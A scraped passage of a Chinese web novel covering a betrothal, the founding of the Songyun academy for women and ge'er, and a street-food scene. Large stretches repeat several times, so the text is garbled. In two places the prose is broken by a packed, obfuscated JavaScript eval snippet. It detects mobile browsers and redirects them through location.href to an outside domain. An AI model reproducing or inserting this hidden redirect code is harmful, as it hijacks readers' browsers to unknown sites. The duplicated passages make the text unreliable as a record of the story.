徐文君心脏狂跳,只这么几句话、孟晚喝了一盏茶的短暂时间,他便被拿捏到毫无说半个“不”字的机会,诚惶诚恐的跟在孟晚身后,徐文君用从未有过的殷勤态度说道:“孟夫郎恕罪,这事是我做的不对,这就去找唐管事请罪。” 雪生已经从衙门回来,此刻已在院子里等着孟晚,“夫郎,大人已经将人收押入狱了。” “嗯,走吧。”孟晚手里的账册比来时更厚,被雪生放进车厢内。 余彦东目送孟晚乘坐的马车离开,回身就给了毫无准备的徐文君一拳。 “你发什么疯?”徐文君本来心里就提着一根筋,被无缘无故打了一拳心里的火气也跟着起来了,两人厮打到了一块,被驿站的人强行拉开。 余彦东脸色难看的要命,大口喘着粗气,“刚才东家说的话是什么意思?你辱骂我们家霜哥儿!” 提到唐妗霜,徐文君眉头一皱,带起脸上的疼痛。他利用的人数不胜数,若不是孟晚的地位手段在那儿,他是不会把一个小小的管事放在心上的。 “我家女侍确实背后议论了唐管事几句,我这就要去找他道歉,但貌似与余管事无关吧?” 余彦东见多了他爹和人做生意笑里藏刀的样子,这个姓徐的从一开始来到珍罐坊他就觉得不是什么好人。料定了不是他说的这样简单,余彦东冷笑,“道歉,好啊,那你现在就去。” 徐文君深深的看了他一眼,转身便离开了驿站。 第二天午后唐妗霜过来找余彦东,余彦东受宠若惊,“霜哥儿,你是来找我的?” 唐妗霜将他叫到一旁说话,脸色十分平淡,“余二公子,你以后不要再去珍罐坊找我了。” 余彦东脸上才扬起的笑容瞬间消失,“是不是徐文君那个王八蛋和你说了什么?” 唐妗霜看他脸上青一块紫一块的伤口,心中痛苦万分,面上却依旧冷漠,“和别人没关系,余二公子知道我被孟夫郎救之前是什么人吗?” 余彦东茫然的问:“什么……人?” 唐妗霜闭上眼睛,一字一顿的说:“我乃罪臣之子,后被卖为……暗……娼。” 他闭上眼,不敢看余彦东的表情,更怕听到什么难听的声音。 但他不能逃避,余彦东是个好人,是自己不配,也不该耽搁他。 缓缓睁开眼睛,对面的余彦东目光果然从茫然变成了难以置信。唐妗霜突然情绪崩溃到难以自制,他用最后一丝理智从驿站跑回珍罐坊,将自己关在房间。 好不容易拼凑起来的破碎心脏,又被硬生生的撕裂开来。唐妗霜只是普通人,承受不住这样近乎寂灭的打击,所以他理所当然的病了。 病了一晚上。 然后第二天一早被黄叶从被子里挖了出来,“霜哥儿,余家提亲提到夫郎那里去了。夫郎让你自己做主自己的婚事,要不要答应现在就去给个准话。” 在被窝里睡了一天一夜的唐妗霜:“……” “什么婚事?” 黄叶瞪大了眼睛,“你的眼睛怎么了?怎么这么憔悴?发生什么事了?” 唐妗霜眼睛又红又肿,一头长发被蹂躏的乱七八糟,脑袋也嗡嗡作响,这个形象和精神状态怎么也不适合做客。 黄叶没能把人带回宋家,悄悄在孟晚耳边说了两句。 孟晚口中的茶水差点噎到他,斟酌一番后对余家父子说:“霜哥儿今日生了病,同我告假三天,怕是不能过来见客,不然婚事就过后再谈吧。” “昨天还好好的,怎么今日就病了!”余彦东急切的从椅子上坐起来。 余汖瞪了儿子一眼,笑呵呵的对孟晚说:“是彦东唐突了,但他对唐管事的真心孟夫郎也看在眼里,也是关心则乱,还望老夫人和孟夫郎不要怪罪。既然霜哥儿病了,我们便改日再登门拜访。” “你们客气了,我看两个孩子都挺好,霜哥儿是过过苦日子的,小余也会疼人。”常金花今天也在家,按远近亲疏来算她肯定是想把唐妗霜留给雪生。但见两人一点苗头都没有,也只能作罢。 唐妗霜在珍罐坊缩了三天,过后同余彦东私下又见了一面,也不知两人谈了些什么,总之唐妗霜是松了口。 余家的动作很快,家里二公子娶亲,三媒六聘一样都不能少,现在慢慢过礼,最早也要明年夏天成亲。 余彦东排行老二,与亲大哥相差十岁,家里的生意目前看来也没有要插手的意思,反而在孟晚手下把驿站做的风生水起。 他爹余汖是个脑子转的快,想的又精明的。 大儿子继承家业,二儿子搭上官府的人脉。唐管事虽然出身不好,但亲妹夫是正经举人,府衙的官员,自身能力出众又被孟晚看好。大儿媳已经是出身顶好的宗妇了,小儿媳又能赚钱,许多与他同辈的老友还客客气气的叫一声唐管事,他还有什么不知足的? “妗霜的亲事竟然这么顺利,我还以为要磨上几年的。”孟晚感慨道。 还是得年下小狼狗,这一通死缠烂打下来,唐妗霜嘴上不说,实际早就被磨化了吧? 宋亭舟在执笔的空隙中回了句,“有情人终成眷属,不错。” 孟晚把自己的椅子搬到宋亭舟那头,坐在他身侧看他写字,“县学统计的怎么样了,里头的夫子可有堪用的?” 提起县学宋亭舟便愁眉不展,“并无。本来以为府学就够荒唐了,但单教授好歹是有正经功名,县学里竟然只有两位童生做夫子。” “啊!”孟晚也十分惊讶,“那乡镇私塾就更没有可靠的喽?” 宋亭舟无奈道:“镇上少有私塾。” 当初他们三泉镇的私塾还有个老秀才做夫子,西梧府竟然如此不济。 孟晚拍拍他的肩膀,“万事开头难,就看我们俩的学院谁先建成了。” 宋亭舟把手伸过去揽住孟晚,逗他说:“夫郎不等我一等?” 孟晚潇洒一笑,“实力在这儿放着,赫山县我已经建到一半了。” 他修建的学院不是攻读圣贤书的男子学院,而是专供女子哥儿读书的“松韵学院”。 孟晚预计要建六座,其中四县各一座,府城一座。瑶族人可以去黑叶县的学院,鹋族人直接去府学的,壵族因为人口众多,所以要单独建一座。 学院分为智、慧、两类,简单粗暴。总归也不能送她/他们入仕,那就太远了,需要长时间的温水煮青蛙,慢慢改变禹国人的思维。 孟晚现在能做到的就是让西梧的女娘与小哥儿自己具备生存技能,提高她/他们的社会地位。 智班便是初班,主要是找个人教大家识字。不必学的太多,但必要的都需要掌握,最少不低于两千字,不然便不能从智班毕业。 慧班则分的五花八门。孟晚初定了几种,慧一班算数,慧二班是刺绣,慧三班是纺织,慧四班是烹饪,慧五班是药理。后续再想到其他的可以再添。 唐妗霜在珍罐坊缩了三天,过后同余彦东私下又见了一面,也不知两人谈了些什么,总之唐妗霜是松了口。 余家的动作很快,家里二公子娶亲,三媒六聘一样都不能少,现在慢慢过礼,最早也要明年夏天成亲。 余彦东排行老二,与亲大哥相差十岁,家里的生意目前看来也没有要插手的意思,反而在孟晚手下把驿站做的风生水起。 他爹余汖是个脑子转的快,想的又精明的。 大儿子继承家业,二儿子搭上官府的人脉。唐管事虽然出身不好,但亲妹夫是正经举人,府衙的官员,自身能力出众又被孟晚看好。大儿媳已经是出身顶好的宗妇了,小儿媳又能赚钱,许多与他同辈的老友还客客气气的叫一声唐管事,他还有什么不知足的? “妗霜的亲事竟然这么顺利,我还以为要磨上几年的。”孟晚感慨道。 还是得年下小狼狗,这一通死缠烂打下来,唐妗霜嘴上不说,实际早就被磨化了吧? 宋亭舟在执笔的空隙中回了句,“有情人终成眷属,不错。” 孟晚把自己的椅子搬到宋亭舟那头,坐在他身侧看他写字,“县学统计的怎么样了,里头的夫子可有堪用的?” 提起县学宋亭舟便愁眉不展,“并无。本来以为府学就够荒唐了,但单教授好歹是有正经功名,县学里竟然只有两位童生做夫子。” “啊!”孟晚也十分惊讶,“那乡镇私塾就更没有可靠的喽?” 宋亭舟无奈道:“镇上少有私塾。” 当初他们三泉镇的私塾还有个老秀才做夫子,西梧府竟然如此不济。 孟晚拍拍他的肩膀,“万事开头难,就看我们俩的学院谁先建成了。” 宋亭舟把手伸过去揽住孟晚,逗他说:“夫郎不等我一等?” 孟晚潇洒一笑,“实力在这儿放着,赫山县我已经建到一半了。” 他修建的学院不是攻读圣贤书的男子学院,而是专供女子哥儿读书的“松韵学院”。 孟晚预计要建六座,其中四县各一座,府城一座。瑶族人可以去黑叶县的学院,鹋族人直接去府学的,壵族因为人口众多,所以要单独建一座。 学院分为智、慧、两类,简单粗暴。总归也不能送她/他们入仕,那就太远了,需要长时间的温水煮青蛙,慢慢改变禹国人的思维。 孟晚现在能做到的就是让西梧的女娘与小哥儿自己具备生存技能,提高她/他们的社会地位。 智班便是初班,主要是找个人教大家识字。不必学的太多,但必要的都需要掌握,最少不低于两千字,不然便不能从智班毕业。 慧班则分的五花八门。孟晚初定了几种,慧一班算数,慧二班是刺绣,慧三班是纺织,慧四班是烹饪,慧五班是药理。后续再想到其他的可以再添。 唐妗霜在珍罐坊缩了三天,过后同余彦东私下又见了一面,也不知两人谈了些什么,总之唐妗霜是松了口。 余家的动作很快,家里二公子娶亲,三媒六聘一样都不能少,现在慢慢过礼,最早也要明年夏天成亲。 余彦东排行老二,与亲大哥相差十岁,家里的生意目前看来也没有要插手的意思,反而在孟晚手下把驿站做的风生水起。 他爹余汖是个脑子转的快,想的又精明的。 大儿子继承家业,二儿子搭上官府的人脉。唐管事虽然出身不好,但亲妹夫是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009393|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正经举人,府衙的官员,自身能力出众又被孟晚看好。大儿媳已经是出身顶好的宗妇了,小儿媳又能赚钱,许多与他同辈的老友还客客气气的叫一声唐管事,他还有什么不知足的? “妗霜的亲事竟然这么顺利,我还以为要磨上几年的。”孟晚感慨道。 还是得年下小狼狗,这一通死缠烂打下来,唐妗霜嘴上不说,实际早就被磨化了吧? 宋亭舟在执笔的空隙中回了句,“有情人终成眷属,不错。” 孟晚把自己的椅子搬到宋亭舟那头,坐在他身侧看他写字,“县学统计的怎么样了,里头的夫子可有堪用的?” 提起县学宋亭舟便愁眉不展,“并无。本来以为府学就够荒唐了,但单教授好歹是有正经功名,县学里竟然只有两位童生做夫子。” “啊!”孟晚也十分惊讶,“那乡镇私塾就更没有可靠的喽?” 宋亭舟无奈道:“镇上少有私塾。” 当初他们三泉镇的私塾还有个老秀才做夫子,西梧府竟然如此不济。 孟晚拍拍他的肩膀,“万事开头难,就看我们俩的学院谁先建成了。” 宋亭舟把手伸过去揽住孟晚,逗他说:“夫郎不等我一等?” 孟晚潇洒一笑,“实力在这儿放着,赫山县我已经建到一半了。” 他修建的学院不是攻读圣贤书的男子学院,而是专供女子哥儿读书的“松韵学院”。 孟晚预计要建六座,其中四县各一座,府城一座。瑶族人可以去黑叶县的学院,鹋族人直接去府学的,壵族因为人口众多,所以要单独建一座。 学院分为智、慧、两类,简单粗暴。总归也不能送她/他们入仕,那就太远了,需要长时间的温水煮青蛙,慢慢改变禹国人的思维。 孟晚现在能做到的就是让西梧的女娘与小哥儿自己具备生存技能,提高她/他们的社会地位。 智班便是初班,主要是找个人教大家识字。不必学的太多,但必要的都需要掌握,最少不低于两千字,不然便不能从智班毕业。 慧班则分的五花八门。孟晚初定了几种,慧一班算数,慧二班是刺绣,慧三班是纺织,慧四班是烹饪,慧五班是药理。后续再想到其他的可以再添。 唐妗霜在珍罐坊缩了三天,过后同余彦东私下又见了一面,也不知两人谈了些什么,总之唐妗霜是松了口。 余家的动作很快,家里二公子娶亲,三媒六聘一样都不能少,现在慢慢过礼,最早也要明年夏天成亲。 余彦东排行老二,与亲大哥相差十岁,家里的生意目前看来也没有要插手的意思,反而在孟晚手下把驿站做的风生水起。 他爹余汖是个脑子转的快,想的又精明的。 大儿子继承家业,二儿子搭上官府的人脉。唐管事虽然出身不好,但亲妹夫是正经举人,府衙的官员,自身能力出众又被孟晚看好。大儿媳已经是出身顶好的宗妇了,小儿媳又能赚钱,许多与他同辈的老友还客客气气的叫一声唐管事,他还有什么不知足的? “妗霜的亲事竟然这么顺利,我还以为要磨上几年的。”孟晚感慨道。 还是得年下小狼狗,这一通死缠烂打下来,唐妗霜嘴上不说,实际早就被磨化了吧? 宋亭舟在执笔的空隙中回了句,“有情人终成眷属,不错。” 孟晚把自己的椅子搬到宋亭舟那头,坐在他身侧看他写字,“县学统计的怎么样了,里头的夫子可有堪用的?” 提起县学宋亭舟便愁眉不展,“并无。本来以为府学就够荒唐了,但单教授好歹是有正经功名,县学里竟然只有两位童生做夫子。” “啊!”孟晚也十分惊讶,“那乡镇私塾就更没有可靠的喽?” 宋亭舟无奈道:“镇上少有私塾。” 当初他们三泉镇的私塾还有个老秀才做夫子,西梧府竟然如此不济。 孟晚拍拍他的肩膀,“万事开头难,就看我们俩的学院谁先建成了。” 宋亭舟把手伸过去揽住孟晚,逗他说:“夫郎不等我一等?” 孟晚潇洒一笑,“实力在这儿放着,赫山县我已经建到一半了。” 他修建的学院不是攻读圣贤书的男子学院,而是专供女子哥儿读书的“松韵学院”。 孟晚预计要建六座,其中四县各一座,府城一座。瑶族人可以去黑叶县的学院,鹋族人直接去府学的,壵族因为人口众多,所以要单独建一座。 学院分为智、慧、两类,简单粗暴。总归也不能送她/他们入仕,那就太远了,需要长时间的温水煮青蛙,慢慢改变禹国人的思维。 孟晚现在能做到的就是让西梧的女娘与小哥儿自己具备生存技能,提高她/他们的社会地位。 智班便是初班,主要是找个人教大家识字。不必学的太多,但必要的都需要掌握,最少不低于两千字,不然便不能从智班毕业。 慧班则分的五花八门。孟晚初定了几种,慧一班算数,慧二班是刺绣,慧三班是纺织,慧四班是烹饪,慧五班是药理。后续再想到其他的可以再添。 唐妗霜在珍罐坊缩了三天,过后同余彦东私下又见了一面,也不知两人谈了些什么,总之唐妗霜是松了口。 余家的动作很快,家里二公子娶亲,三媒六聘一样都不能少,现在慢慢过礼,最早也要明年夏天成亲。 余彦东排行老二,与亲大哥相差十岁,家里的生意目前看来也没有要插手的意思,反而在孟晚手下把驿站做的风生水起。 他爹余汖是个脑子转的快,想的又精明的。 大儿子继承家业,二儿子搭上官府的人脉。唐管事虽然出身不好,但亲妹夫是正经举人,府衙的官员,自身能力出众又被孟晚看好。大儿媳已经是出身顶好的宗妇了,小儿媳又能赚钱,许多与他同辈的老友还客客气气的叫一声唐管事,他还有什么不知足的? “妗霜的亲事竟然这么顺利,我还以为要磨上几年的。”孟晚感慨道。 还是得年下小狼狗,这一通死缠烂打下来,唐妗霜嘴上不说,实际早就被磨化了吧? 宋亭舟在执笔的空隙中回了句,“有情人终成眷属,不错。” 孟晚把自己的椅子搬到宋亭舟那头,坐在他身侧看他写字,“县学统计的怎么样了,里头的夫子可有堪用的?” 提起县学宋亭舟便愁眉不展,“并无。本来以为府学就够荒唐了,但单教授好歹是有正经功名,县学里竟然只有两位童生做夫子。” “啊!”孟晚也十分惊讶,“那乡镇私塾就更没有可靠的喽?” 宋亭舟无奈道:“镇上少有私塾。” 当初他们三泉镇的私塾还有个老秀才做夫子,西梧府竟然如此不济。 孟晚拍拍他的肩膀,“万事开头难,就看我们俩的学院谁先建成了。” 宋亭舟把手伸过去揽住孟晚,逗他说:“夫郎不等我一等?” 孟晚潇洒一笑,“实力在这儿放着,赫山县我已经建到一半了。” 他修建的学院不是攻读圣贤书的男子学院,而是专供女子哥儿读书的“松韵学院”。 孟晚预计要建六座,其中四县各一座,府城一座。瑶族人可以去黑叶县的学院,鹋族人直接去府学的,壵族因为人口众多,所以要单独建一座。 学院分为智、慧、两类,简单粗暴。总归也不能送她/他们入仕,那就太远了,需要长时间的温水煮青蛙,慢慢改变禹国人的思维。 孟晚现在能做到的就是让西梧的女娘与小哥儿自己具备生存技能,提高她/他们的社会地位。 智班便是初班,主要是找个人教大家识字。不必学的太多,但必要的都需要掌握,最少不低于两千字,不然便不能从智班毕业。 慧班则分的五花八门。孟晚初定了几种,慧一班算数,慧二班是刺绣,慧三班是纺织,慧四班是烹饪,慧五班是药理。后续再想到其他的可以再添。 第49章 松韵学院 孟晚对松韵学院无疑倾注了许多心血,按计划来看今年后半年应当是他最忙的时候。 几个学院请老师就要五花八门,硬性条件还必须是女娘小哥儿,只这一条就很困难,他不得不求救老师项芸。 项芸接到孟晚信件的时候正在家里画鸭,林大人从外面拿着一袋包子和两封信件,“西梧府和盛京城都来信了,想先看哪个?” “还用说?盛京能有什么好消息,先读晚儿的,他的信有趣多了。”项芸笔尖不停,一只古朴韵味十足的鸭子跃于纸上,比她早年的画风多了几丝活泼灵动。画境对照着画师的心境,可见她随林大人返乡后的心绪变化。 林易把包子放进厨房里,拿着信和一个小木凳出来,他和项芸都已经老了,缓缓弯腰坐在项芸身边,他动作温吞地拆开孟晚的信件,照例自己先大致扫一眼。 项芸的鸭子都快画完了,她身边的林易还是没声音,“让你读个信怎么还把你自己读进去了?”她说着扭头去看林易,却见对方眼含泪光,没哭,但是也快了。 项芸大惊失色,没顾得上安慰老头子,而是一把夺过信快速阅读。 半晌后她与林易相顾无言,肚子比她人先开口“咕咕”叫了两声。 林易默默进屋把包子拿出来,两人就对着石桌上的信吃起包子。 “你说……” 项芸吃了一个包子垫底后没那么饿了,她组织了一番语言后说:“我当时收晚哥儿为徒,实际他的天赋不是最好的,但画技新颖,人又漂亮懂事,我这才动了心思。但我如今实在好奇,他脑子里想的都是什么东西。” 项芸自己都够叛逆了,收了个关门弟子竟然比她还传神。租田地、种甘蔗,收莲藕、制藕粉,办厂、办数个大厂,现在竟然还要建学院了? 林易看完信也震惊了一会儿,“不管如何,晚哥儿的松韵学院天时地利人和,几乎全都占全了。可行性极大,若是成了,史书上必有他一席之地。” 项芸净了净手,将那封信捏在手里,指尖都有些颤抖,她似乎想起了年轻时候的自己。 “晚儿信上说让我们帮他找夫子,咱们这把老骨头能帮上他一把也是幸事。” 林易颤颤巍巍地站起身来,“我去进屋写信。” 项芸拦住他,“你的学生都是高高在上的清流,上哪儿去找哥儿女娘,还是我去 写信给晚儿几个师兄和京中姐妹,你去问问扬州有没有擅长刺绣的绣娘肯奔赴岭南。” 老夫妻俩分工合作,平淡的日子又突然开始忙碌起来。 —— 昌平府聂家—— 自从收到宋亭舟的书信,聂先生心里就有一股燃之不尽的野火,日夜侵腐他的五脏六腑。 景行说要重新整顿西梧府当地府学及县学,使当地贫寒的读书人有望拿起书本。 景行说读书以明智,他想让西梧府的百姓都有书可读。 景行说县学和府学的异议既然是选拔人才,便应该将选拔范围扩大至全府城,焉知山岭深处没有可造之材? 景行说他修路不光能通商,更想让大山中的才子能走出囚困他们的山脉。 景行说——他为前人,便该为后人踏出一条康庄大道。 “不错,你们既然都准备好了,不日便可出发,路上的镖师我已经帮你们找好,路上的盘缠、米面油粮等也都由我聂家赒助。” 聂先生在空墨书坊前送人,面前站立的都是宋家来的,或是府学里主动要求去西梧府相助的读书人。他们中最次也是童生,甚至还有两名举子。 “多谢聂先生慷慨相助,学生们不胜感激。”众人拜谢。 聂先生感慨的看着面前这群或忧虑或热血的书生们,宽慰道:“你们不必谢我,都是宋大人的安排,去了之后,住处等俗物都不必操心。只盼诸位能竭尽所能教导当地学子,方不负宋大人所托。” 空墨书坊外这三十二名读书人的眼睛越来越亮,皆弯腰对聂先生深鞠一躬,齐盛说道:“谨记夫子教诲,必不负宋大人所望!” 镖局的人在前面骑马带路,一辆辆马车从聂先生面前驶过,使他心中满是惆怅。 “想去就去好了,省的天天在家长吁短叹。”聂二夫郎捏着柄**扇,轻扇着过来。 聂先生神色复杂,“我确实一直徘徊不定,你从小就锦衣玉食,和我来昌平府已经是委屈了,再去岭南……” 聂二夫郎睨了他一眼,“你劝别人的时候说的不是挺好听吗?怎么到自己身上反而婆婆妈妈的了,怎么说景行也是你唯一的弟子,多年不见去看看阿砚也好。若是我实在待不住,还能去扬州看看我师祖” 聂先生本就心生动摇,被自家夫郎一劝便再无顾忌,于是 这趟由北向南的旅程中,又多了几辆聂家的马车。 远在西梧府的孟晚和宋亭舟尚且不知道他们的几封信发出去,竟惊动了这么多人,他这边还在和宋亭舟忙着学院建设的事。 专收女子和小哥儿的学院听起来惊世骇俗,除了赫山县无条件信任孟晚之外,其余县城的建造都受到了当地百姓质疑。 赫山县因为糖坊的关系,女子哥儿地位大大提升,一听说孟晚要建座专门供女娘和小哥儿读书的书院,尚且不知是什么用途,已经自发帮着运送起砖瓦石沙了。 所以在六地同建学院的时候,赫山县是第一个把学院建好的。 孟晚站在那块用巨石雕琢的“松韵书院”面前,心潮如翻涌的巨浪,一下下拍打着胸腔,说不清是激动还是震撼,只觉得浑身的血液都在奔涌。 他摸着巨石旁边的一行小字,上书——齐盛三十年夏,八月二十,西梧府第一座女娘哥儿学院,由当地知府夫郎孟晚建于赫山县。 孟晚摸着自己的名字,嘴角扬起来就没往下落过,“不错,记得后续在后面把鼎力相助的红山村、红泥村都刻上去。” 被孟晚派来**建的梁管事拿着炭笔往本子上记,“我记住了东家。” 跟过来的红山、红泥两村的里长嘴巴都要笑歪了,“您太客气了,我们就是给添些料,出出人力。”连知县老爷都没能在碑上刻文,他们两村居然刻上了! 一旁的王知县确实心生羡慕,但他却不敢出口抱怨,因为宋亭舟正在考问他和县学的教逾。 “你们也进去好好看看松韵学院是如何运作的。”宋亭舟沉声吩咐道。 孟晚的松韵学院建在城外郊区,找了处宽敞的地方,铲平后围了一整圈高大的围墙。 门前除了刚才那块巨型石碑外,还种了两排甘蔗。赫山是靠甘蔗发的家,他们此生难忘,现在家家户户门口都兴起种甘蔗来。 学院的大门极为高大结实,门前还设有一座安保亭,到时候会请一些四十左右的妇人夫郎过来看守院门。 松韵学院从学生到老师,预计全是女子和哥儿,安全隐患必须要加强。除了看守院门的人外,白日里王知县也会派捕快在外面巡逻。 一行人走进学院,沿着围墙的墙边全都种着漂亮的花草,正前方则是一长排的屋子,两侧各有一个小门,白日里打开可以穿行到后面。 梁管事介绍道:“大人、东家,一进院子里左右各有五间教室供学生进学,中间的堂屋叫智堂,是给夫子们办公用的。” 中堂很大,前后共有四门,同样也可以穿行至后面的院子。 他们从中堂穿过去,走到后面,这里面就被分的五花八门了,按照孟晚的要求建了五座院子。其中一座最大的院子门前挂着“慧一算数”的牌子,这个也是必学科目,但不像智班那样要求严格,实在学不学也可以去学旁的。 而后四个院子分别是“慧二刺绣”、“慧三纺织”、“慧四烹饪”、“慧五药理”。 穿过这五个慧班的院子,接下来便是食堂,最后排则是两层楼的一长排宿舍。 宿舍的条件差点,预计招满学生的话是六人一间,桌、椅、床和衣柜都有,个人用品和铺盖要自己带来。 学院每个季节都会给学生发两身校服,这个是孟晚找余家的人定做的,都是粗布短打,样子简单大方便于行动。 “不错,辛苦诸位了。”孟晚诚心诚意的给在场众人弯腰行了一礼。 宋亭舟就在旁边看着,谁敢受他一礼?都忙着推脱开来。 “孟东家客气,都是我们应该做的,当年要不是您,我们红山村也没有今天。对了,那个……厨房外头的井是我们红山村的年轻汉子们帮忙给打的,他们想让自家弟弟妹妹来学院读书,您能不能多给我们红山村几个名额?” 红泥村里长一屁股将人挤开,“孟东家,我们红泥村的娃娃们还跑来学院给种花,墙边那些野花都是她们从山里采的,都盼着进书院来读书呢。” 跟在宋亭舟后面的单教授叹为观止,本来以为是孟夫郎建学院是个胡闹,没想到赫山县竟然还真有人捧场。 宋亭舟冷不丁的问了他一句,“松韵书院乃民心所向,你治理下的府学呢?赫山县的学院都已经准备迎接新生,县学的改造却还差一半,这就是你对本官的交代?” 无故被上司责问一通,单教授冷汗瞬间浸湿了后背,“大人息怒,县学改造已经完成大半,只是县学占地面积比松韵学院大上不少……”他后面想为自己辩解的话,在宋亭舟越来越深沉的视线中无声消散。 “能力不足便该在自身上找原因,怎可借口推卸?松韵学院已经游观完毕,还不速去县学看是否有何处不足?”宋亭舟不满的呵斥了单教授一顿。 他这番话说完,不光单教授慌乱,连王知县和教逾等人也是诚惶诚恐。 西梧府的县学及府学要经历一次彻底改造,在原有的院校外再重新扩建出一座庞大的学院出来,以供没有功名的普通学子入读。 其读书所有费用都由官府承担,当然,仅有三年时间。三年内,若是考中童生,便能入县学内新建的童生院,同样再由官府出资供读三年。直到三年后考中秀才,才算是真正的由朝廷承认的秀才,脱离普通农户。 除此之外,县学外的私塾中若是有品学兼优的学子考中秀才,一样可以获得官府的大量嘉奖。 西梧府所有秀才中排名前百者,科考的盘缠一应由官府承担,若是考中举人,那不论排名多少,官府都将承担他们进京赶考的盘缠。 这是以目前宋亭舟的能力所能做到的极致了。 “好久没回赫山了,糖坊那里我还要去一趟,藕坊那边也要叮嘱叮嘱。”打发走了其他人,孟晚和宋亭舟悠闲的在街道上闲逛。 赫山县浅浅深深的道路就像是这座城蜕变所留下的证据,路边的街道熙熙攘攘,多了许多孟晚没见过的新铺面。 宋亭舟一手牵着孟晚,另一只手撑着伞以遮蔽天上耀眼的烈日,“我陪你去。” 孟晚不急不缓的扇着团扇,“县学那边你不去看看吗?” 宋亭舟想起那些愚钝的下属便不自觉的释放冷气,“晚些时候再去也不迟。” “夫君你看看那是什么店?”孟晚拉了拉他的手,使宋亭舟脸色瞬间回温,“我过去看看,你在这里等着。” 前面道路旁边似乎开了一家极小的铺面,但门口的人却络绎不绝,宋亭舟在赫山不是什么生面孔,有人认出了他。 “是宋大人!” “宋大人回来了!” “宋大人你也来买石花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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舟见他把泛着凉气的琥珀状东西舀进两个空碗里,再往里添上半碗切成小块的桃子、荔枝、橘子,接着浇上两勺在井里镇得冰凉的糖水。两碗石花糕就做好了。 “多少钱。”宋亭舟掏出荷包来问。 那小贩连连摆手,“不要钱,大人拿去吃就是了。” 后面的人跟着起哄,“大人尽管端走,我们给钱就是了。” 宋亭舟眉头轻皱,“多谢诸位乡亲的好意,不必了。” 他并没吃过石花糕,也不知这是什么东西做的,估摸着抓了一小把铜钱放到桌上,端着两碗凉食就走。 后面小贩惶恐的喊:“大人,您给多了。” “无碍,你远走他乡来做买卖实属不易,收着吧。赫山是个好地方,还望能留住异乡之客。”宋亭舟听出小贩的口音不似西梧府当地,猜到他是其他地方的人,将石花糕带到赫山县来卖,心中不免欣慰。 碗还是要还给摊贩的,他们留着也没有什么用。孟晚惊喜的接过他手中的石花糕,两人就站在街边吃,“这是什么?凉粉?” 他迫不及待地拿起勺子尝了一口,入口冰凉,“不是欸,比凉粉脆,真好吃,你快尝尝。” 宋亭舟也舀了一勺入口,入口甜脆,果真不凡,“不错。” 舟见他把泛着凉气的琥珀状东西舀进两个空碗里,再往里添上半碗切成小块的桃子、荔枝、橘子,接着浇上两勺在井里镇得冰凉的糖水。两碗石花糕就做好了。 “多少钱。”宋亭舟掏出荷包来问。 那小贩连连摆手,“不要钱,大人拿去吃就是了。” 后面的人跟着起哄,“大人尽管端走,我们给钱就是了。” 宋亭舟眉头轻皱,“多谢诸位乡亲的好意,不必了。” 他并没吃过石花糕,也不知这是什么东西做的,估摸着抓了一小把铜钱放到桌上,端着两碗凉食就走。 后面小贩惶恐的喊:“大人,您给多了。” “无碍,你远走他乡来做买卖实属不易,收着吧。赫山是个好地方,还望能留住异乡之客。”宋亭舟听出小贩的口音不似西梧府当地,猜到他是其他地方的人,将石花糕带到赫山县来卖,心中不免欣慰。 碗还是要还给摊贩的,他们留着也没有什么用。孟晚惊喜的接过他手中的石花糕,两人就站在街边吃,“这是什么?凉粉?” 他迫不及待地拿起勺子尝了一口,入口冰凉,“不是欸,比凉粉脆,真好吃,你快尝尝。” 宋亭舟也舀了一勺入口,入口甜脆,果真不凡,“不错。” 舟见他把泛着凉气的琥珀状东西舀进两个空碗里,再往里添上半碗切成小块的桃子、荔枝、橘子,接着浇上两勺在井里镇得冰凉的糖水。两碗石花糕就做好了。 “多少钱。”宋亭舟掏出荷包来问。 那小贩连连摆手,“不要钱,大人拿去吃就是了。” 后面的人跟着起哄,“大人尽管端走,我们给钱就是了。” 宋亭舟眉头轻皱,“多谢诸位乡亲的好意,不必了。” 他并没吃过石花糕,也不知这是什么东西做的,估摸着抓了一小把铜钱放到桌上,端着两碗凉食就走。 后面小贩惶恐的喊:“大人,您给多了。” “无碍,你远走他乡来做买卖实属不易,收着吧。赫山是个好地方,还望能留住异乡之客。”宋亭舟听出小贩的口音不似西梧府当地,猜到他是其他地方的人,将石花糕带到赫山县来卖,心中不免欣慰。 碗还是要还给摊贩的,他们留着也没有什么用。孟晚惊喜的接过他手中的石花糕,两人就站在街边吃,“这是什么?凉粉?” 他迫不及待地拿起勺子尝了一口,入口冰凉,“不是欸,比凉粉脆,真好吃,你快尝尝。” 宋亭舟也舀了一勺入口,入口甜脆,果真不凡,“不错。” 第50章 接待 两人吃的通体凉爽,又在街上多走了一会儿。宋亭舟感慨道:“其实我当日来赫山上任的时候,看到破败的城门和瞌睡的老兵,心里也很忐忑。” 宋亭舟给外人的印象应该是冷峻且沉稳可靠的,但刚来岭南的时候面对困境时,他也不过是个初踏官扬的年轻人而已。 面对势大的官,他忍耐,再一击毙命。解决赫山窘态的同时,还要思考拿出什么姿态面对朝廷。 当时一步步逼着自己前行,谁又能想到他真的走到了今天这一步呢? “我知道你定不下心就写东西,家里现在放了那么多你写过的纸张,都被我装订成册了。”孟晚又怎么会不懂他,他行事后面好歹有宋亭舟给他撑腰,宋亭舟却要自己扛起全家。 “幸亏我家夫郎能干,往后赫山会有无数知县,第一座糖坊与松韵学院却都是晚儿所建。”宋亭舟看向孟晚的双瞳中尽是温醇爱意,在他官扬沉浮之时,有自家夫郎携手相助,扶他青云。比知己更懂他,比朋友更倾囊相授,他又怎么能不爱他? 